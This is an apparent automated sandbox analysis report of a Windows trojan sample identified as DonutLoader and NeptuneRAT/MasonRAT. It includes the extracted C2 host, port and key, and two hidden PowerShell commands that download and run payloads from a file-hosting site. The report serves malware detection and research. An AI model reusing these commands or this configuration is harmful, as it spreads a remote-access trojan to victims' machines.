Analysis
- user interaction
yes - max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/08/2026, 15:40
General
- Target هلا.exe
- Size 84KB
- Sample260810-s4jd6ascpc
- SHA256 2164d0dc81e77df1668cc491c0b5b2f651041a907a275ae5fed917f8e91b7ca3
Malware Config
Extracted
-
neptunerat
-
nmkheiclqf.localto.net:7310
-
filename
USB.exe
-
group
MasonGroup
-
key
feFhDcz495jasoWS
-
rat_name
MasonRAT
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects DonutLoader 1 IoCs
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\هلا.exe"C:\Users\Admin\AppData\Local\Temp\هلا.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/g008kp.rar' -OutFile $env:TEMP\Mason214704.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason214704.exe"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/rwa682.rar' -OutFile $env:TEMP\Mason458192.exe; Start-Process -WindowStyle Hidden $env:TEMP\Mason458192.exe"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/3520-33-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-28-0x000001BEC2470000-0x000001BEC2492000-memory.dmp
memory/3520-38-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-37-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-36-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-35-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-42-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-32-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-34-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-31-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-23-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-26-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-27-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-25-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/3520-24-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-10-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-12-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-19-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-20-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-21-0x000000001C770000-0x000000001C778000-memory.dmp
memory/4864-22-0x0000000000C20000-0x0000000000C2E000-memory.dmp
memory/4864-17-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-16-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-15-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-14-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-13-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-18-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-11-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-0-0x00000000004B0000-0x00000000004CC000-memory.dmp
memory/4864-9-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-8-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-7-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-6-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-5-0x00000000026D0000-0x00000000026E2000-memory.dmp
memory/4864-4-0x00007FFAD1F80000-0x00007FFAD2924000-memory.dmp
memory/4864-1-0x00007FFAD210F000-0x00007FFAD2110000-memory.dmp
memory/4864-3-0x00000000024E0000-0x00000000024F4000-memory.dmp